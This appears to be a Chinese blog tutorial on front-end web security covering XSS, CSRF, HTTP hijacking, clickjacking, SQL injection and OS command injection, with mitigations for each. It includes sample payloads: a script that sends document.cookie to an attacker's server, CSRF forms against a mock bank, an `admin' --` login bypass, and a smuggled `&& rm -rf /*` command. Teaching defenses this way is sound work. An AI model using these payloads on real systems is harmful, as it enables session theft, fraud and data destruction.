前端安全那些事

寫在前面:web安全在當下是個不可避免的問題,想要完成一個“安全”的產品,需要前后端都做好抵御攻擊和安全隱患的防護,這里筆者就前端安全的方面做一個較為全面的攻略以待備用。

為什么要攻擊


這里引用一位大牛的話:開發者不可能確保自己的應用絕對無法被攻擊,但是只要攻擊我們的時候,黑客花費的成本遠比他要可以獲取的利益大得多,黑客就不會去攻擊。總而言之,提高我們產品的安全系數,雖然不能做到“絕對”,但起碼能“很安全”。

前端攻擊都有哪些形式


1:XXS攻擊

1.1 是什么

百度百科的定義是:XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。因此我們可以直接理解為一種javascript代碼注入。根據攻擊的來源,XSS 攻擊可分為存儲型反射型DOM 型三種。
那如何實現代碼注入呢?我們知道,當瀏覽器遇到html中的script標簽的時候,會解析并執行標簽中的js腳本代碼,那么如果有心者在可輸入框中輸入含有script標簽的話,就可以執行其中的代碼了。
場景如下:

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
  </head>
  <body>
    <input type="text" name="aa" id="aa" onchange="dochange()"/>
    <div id="text"></div>
    <script>
      let value = '';
      dochange = () => {
        value = document.getElementById("aa").value;
        $('div').html(value);
      }
    </script>
  </body>
</html>
企業微信截圖_15560777108471.png

可以看到當使用jquery的DOM插入方法來顯示值的話,能夠執行其中的html代碼。(這里我還驗證了react的傳值方法,發現目前的主流框架已經做了一些處理不會發生此類情況)。所以當有心者在輸入框中執行以下代碼,就可以拿到用戶在這個域名下的cookie或者其他隱私了。

$.ajax({
    url: '自己的服務器',
    dataType: 'jsonp',
    data: {'盜取的用戶cookie': document.cookie}
});

此類狀況的解決方式
1.1.1 如何解決
1:將script標簽的左右尖括號(><)進行轉義再賦值。
2:通過前端輸入判斷禁止特殊字符的鍵入。
3:使用$.text()方法來動態賦值。

1.2 img標簽的注入

用戶分享圖片的正常情況下,我們會給img的src附上一個url地址作為圖片的資源,但是如果我們附上的地址為\" onerror=\"javascript:alert('error');\"時,將會執行onerror里的方法。這就引發了注入的攻擊。
1.1.2 如何解決
如1.1.1,對圖片地址再進行轉義。

1.3 url的注入

可能存在這樣的場景,就是有時候編程人員會直接從url獲取某些值作為變量輸入,但是,這里面存在一個風險,如果有心者在URL的這個參數中,加入js代碼,這樣便又會被執行。
場景如下:

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
  </head>
  <body>
    <input type="text" name="aa" id="aa" onchange="dochange()"/>
    <div id="text"></div>
    <script>
      let value = '';
      var param = window.location.search.split("?");
      value = decodeURI(param[1]);
        $('div').html(value);
    </script>
  </body>
</html>

企業微信截圖_15560895477512.png

1.1.3 如何解決
像這種從url中獲取的信息,筆者建議,最好由后端獲取,在前端轉義后再行輸出。避免直接從url上面讀取。另外鏈接跳轉,如 <a href="xxx" 或 location.href="xxx",要檢驗其內容,禁止以 javascript: 開頭的鏈接,和其他非法的 scheme

1.4 保護好cookie

如果道高一尺,還是不幸被攻擊者攻擊了,又該如何。其實,很多時候,我們的敏感信息都是存儲在cookie中的(所以不要把用戶機密信息放在網頁中),想要阻止黑客通過js訪問到cookie中的用戶敏感信息。那么請使用cookie的HttpOnly屬性,加上了這個屬性的cookie字段,js是無法進行讀寫的,只能從后端獲取。(好像只能通過后端的方式來設置)

1.5 設置內容安全策略

CSP其實就是一個白名單策略,允許的域才能加載,其他一律拒絕。
使用CSP有兩種模式:meta設置http響應頭設置
meta設置
<meta http-equiv="Content-Security-Policy" content="CSP指令">
http響應頭設置
response: {
Content-Security-Policy: "CSP指令"
}

CSP指令集合:
default-src // 默認規則,某些類型沒有特定規則時,則使用默認規則
script-src // javascript規則
style-src // 樣式規則
img-src // 圖片規則
connect-src // 鏈接規則,如ajax、websocket
font-src // 字體規則
object-src // 標簽引入flash插件的規則
media-src // <video> <audio>引入多媒體的規則
frame-src // iframe加載規則
report-uri // 請求策略不被允許時,提交日志的地址

CSP指令集合:
空 // 不做限制
'none' // 不允許任何內容
'self' // 允許同源(協議/域名/端口)
data // data協議,如base64的圖片
binnie.qq.com // 指定域名
*.qq.com // 指定某個域
https://binnie.qq.com // 指定協議域名
https: // 允許https
'unsafe-inline' // 允許加載inline資源
'unsafe-eval' // 允許動態js,如eval()

2 CSRF攻擊

2.1 CSRF攻擊是什么

CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”。簡單得說就是網站中的一些提交行為和信息,被黑客利用,你在訪問黑客的網站的時候,進行的操作,會被操作到其他網站上。

2.2 get請求式攻擊

這種方式的攻擊在jsonp型的接口里很常見。由于jquery的jsonp方式可以跳過客戶端的同源策略跨域請求jsonp;

 <img src="http://bank.example/withdraw?amount=10000&for=hacker" > 

在受害者訪問含有這個img的頁面后,瀏覽器會自動向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker發出一次HTTP請求。bank.example就會收到包含受害者登錄信息的一次跨域請求。

2.3 post請求式攻擊

這種類型的CSRF利用起來通常使用的是一個自動提交的表單,如:

 <form action="http://bank.example/withdraw" method=POST>
    <input type="hidden" name="account" value="xiaoming" />
    <input type="hidden" name="amount" value="10000" />
    <input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script> 

當用戶打開安全網站后,在信息驗證有效期內訪問攻擊網站的時候,表單會自動提交,相當于模擬用戶完成了一次POST操作。

2.4 CSRF特點

  • 攻擊一般發起在第三方網站,而不是被攻擊的網站。
  • 攻擊利用受害者在被攻擊網站的登錄憑證,冒充受害者提交操作;
  • 跨站請求可以用各種方式:圖片URL、超鏈接、CORS、Form提交等等。部分請求方式可以直接嵌入在第三方論壇、文章中,難以進行追蹤。

總之,CSRF通常是跨域的,因為外域通常更容易被攻擊者掌控。但是如果本域下有容易被利用的功能,比如可以發圖和鏈接的論壇和評論區,攻擊可以直接在本域下進行,這樣就跨過同源策略,導致更容易受到CSRF攻擊。

2.5 CSRF防御

1:同源檢測
后端可以使用Referer Header確定來源域名。因為根據HTTP協議,在HTTP頭中有一個字段叫Referer,記錄了該HTTP請求的來源地址。對于Ajax請求,圖片和script等資源請求,Referer為發起請求的頁面地址。對于頁面跳轉,Referer為打開頁面歷史記錄的前一個頁面地址。但是這種方法并非萬無一失,Referer的值是由瀏覽器提供的,并不能保證瀏覽器自身沒有安全漏洞。使用驗證 Referer 值的方法,就是把安全性都依賴于第三方(即瀏覽器)來保障。而且在部分情況下,攻擊者可以隱藏,甚至修改自己請求的Referer。
2:CSRF Token
首先,當用戶打開頁面的時候,服務器需要給這個用戶生成一個Token,該Token通過加密算法對數據進行加密,一般Token都包括隨機字符串和時間戳的組合。因此,為了安全起見Token最好還是存在服務器中,在頁面提交的請求攜帶這個Token,然后通過服務器驗證Token是否正確。當用戶從客戶端得到了Token,再次提交給服務器的時候,服務器需要判斷Token的有效性,驗證過程是先解密Token,對比加密字符串以及時間戳,如果加密字符串一致且時間未過期,那么這個Token就是有效的。
3:添加驗證碼
在必要的且信息敏感的使用場景中加入驗證碼操作來驗證用戶信息。

3:HTTP劫持

3.1 什么是HTTP劫持
HTTP劫持是在使用者與其目的網絡服務所建立的專用數據通道中,監視特定數據信息,提示當滿足設定的條件時,就會在正常的數據流中插入精心設計的網絡數據報文,目的是讓用戶端程序解釋“錯誤”的數據,并以彈出新窗口的形式在使用者界面展示宣傳性廣告或者直接顯示某網站的內容。————百度百科
其實除了HTTP劫持之外還有DNS劫持,只是已經被嚴管了,發生的概率較小。
3.2 劫持分類
按照劫持的方法不同,將劫持分為下面兩類:
跳轉型劫持:用戶輸入地址A,但是跳轉到地址B
注入型劫持:有別于跳轉型型劫持,指通過在正常的網頁中注入廣告代碼(js、iframe等),實現頁面彈窗提醒或者底部廣告等,又分為下面三個小類:
注入js類劫持:在正常頁面注入劫持的js代碼實現的劫持
iframe類劫持:將正常頁面嵌入iframe或者頁面增加iframe頁面
篡改頁面類劫持:正常頁面出現多余的劫持網頁標簽,導致頁面整體大小發生變化
3.3 防御劫持
1:使用HTTPS ,因為https 加了SSL協議,會對數據進行加密。
2:在開發的網頁中加入代碼過濾,利用JavaScript代碼檢查所有的外鏈是否屬于白名單。例如在window 監聽 DOMNodeInserted 事件,上報插入的dom、分析插入的dom 信息。(通常匹配所有的url,逐個比較是否白名單域名,如果不是,則判定為劫持,上報的同時,移除dom.parentNode.removeChild(dom));

4:點擊劫持

4.1:什么是劫持

點擊劫持是一種視覺欺騙的攻擊手段。攻擊者將需要攻擊的網站通過 iframe 嵌套的方式嵌入自己的網頁中,并將 iframe 設置為透明,在頁面中透出一個按鈕誘導用戶點擊。比如,用戶在登陸 A 網站的系統后,被攻擊者誘惑打開第三方網站,而第三方網站通過 iframe 引入了 A 網站的頁面內容,用戶在第三方網站中點擊某個按鈕(被裝飾的按鈕),實際上是點擊了 A 網站的按鈕。

4.2 如何防御

設置X-FRAME-OPTIONS
X-FRAME-OPTIONS是一個 HTTP 響應頭,在現代瀏覽器有一個很好的支持。這個 HTTP 響應頭 就是為了防御用 iframe 嵌套的點擊劫持攻擊。
該響應頭有三個值可選,分別是

  • DENY: 表示頁面不允許通過 iframe 的方式展示
  • SAMEORIGIN: 表示頁面可以在相同域名下通過 iframe 的方式展示
  • ALLOW-FROM: 表示頁面可以在指定來源的 iframe 中展示

5:SQL注入

5.1:SQL注入是什么

SQL注入是一種常見的Web安全漏洞,攻擊者利用數據庫這個漏洞,可以訪問或修改數據,或者利用潛在的數據庫漏洞進行攻擊。

5.2:SQL注入攻擊過程

比如在前端的登錄表單提交時

<form action="/login" method="POST">
    <p>Username: <input type="text" name="username" /></p>
    <p>Password: <input type="password" name="password" /></p>
    <p><input type="submit" value="登陸" /></p>
</form>

后端的 SQL 語句可能是如下這樣的:

let querySQL = `
    SELECT *
    FROM user
    WHERE username='${username}'
    AND psw='${password}'
`;

如果有一個惡意攻擊者輸入的用戶名是 admin' --,密碼隨意輸入,就可以直接登入系統了,因為

SELECT * FROM user WHERE username='admin' --' AND psw='xxxx'

在 SQL 中,' --是閉合和注釋的意思,--是注釋后面的內容的意思,所以查詢語句就變成了:

SELECT * FROM user WHERE username='admin'

所以,一次SQL注入的過程包括以下幾個過程:

1.獲取用戶請求參數
2.拼接到代碼當中
3.SQL語句按照我們構造參數的語義執行成功
SQL注入的本質:數據和代碼未分離,即數據當做了代碼來執行。

5.3:SQL注入防御

1:嚴格限制Web應用的數據庫的操作權限,給此用戶提供僅僅能夠滿足其工作的最低權限,從而最大限度的減少注入攻擊對數據庫的危害
2:后端代碼檢查輸入的數據是否符合預期,嚴格限制變量的類型,例如使用正則表達式進行一些匹配處理。
3:對進入數據庫的特殊字符(',",\,<,>,&,*,; 等)進行轉義處理,或編碼轉換。
4:所有的查詢語句建議使用數據庫提供的參數化查詢接口,參數化的語句使用參數而不是將用戶輸入變量嵌入到 SQL 語句中,即不要直接拼接 SQL 語句。

6:OS注入

6.1:OS注入是什么

OS注入和SQL注入類似,OS命令注入是針對操作系統的攻擊。OS命令注入攻擊指通過Web應用,執行非法的操作系統命令達到攻擊的目的。只要在能調用Shell函數的地方就有存在被攻擊的風險。倘若調用Shell時存在疏漏,就可以執行插入的非法命令。因為命令注入攻擊可以向Shell發送命令,讓Windows或Linux操作系統的命令行啟動程序。也就是說,通過命令注入攻擊可執行操作系統上安裝著的各種程序。

6.2:OS注入攻擊過程

假如需要實現一個需求:用戶提交一些內容到服務器,然后在服務器執行一些系統命令去返回一個結果給用戶

// 以 Node.js 為例,假如在接口中需要從 github 下載用戶指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* 用戶輸入的參數 */};
exec(`git clone ${params.repo} /some/path`);

params.repo傳入的是 https://github.com/admin/admin.github.io.git 確實能從指定的 git repo 上下載到想要的代碼。
但是如果 params.repo 傳入的是 https://github.com/xx/xx.git && rm -rf /* &&恰好你的服務是用 root 權限起的就糟糕了。

6.3:OS注入防御

  • 后端對前端提交內容進行規則限制(比如正則表達式)。
  • 在調用系統命令前對所有傳入參數進行命令行參數轉義過濾。
  • 不要直接拼接命令語句,借助一些工具做拼接、轉義預處理
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 227,967評論 6 531
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,273評論 3 415
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 175,870評論 0 373
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 62,742評論 1 309
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,527評論 6 407
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,010評論 1 322
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,108評論 3 440
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,250評論 0 288
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 48,769評論 1 333
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,656評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,853評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,371評論 5 358
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,103評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,472評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,717評論 1 281
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,487評論 3 390
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,815評論 2 372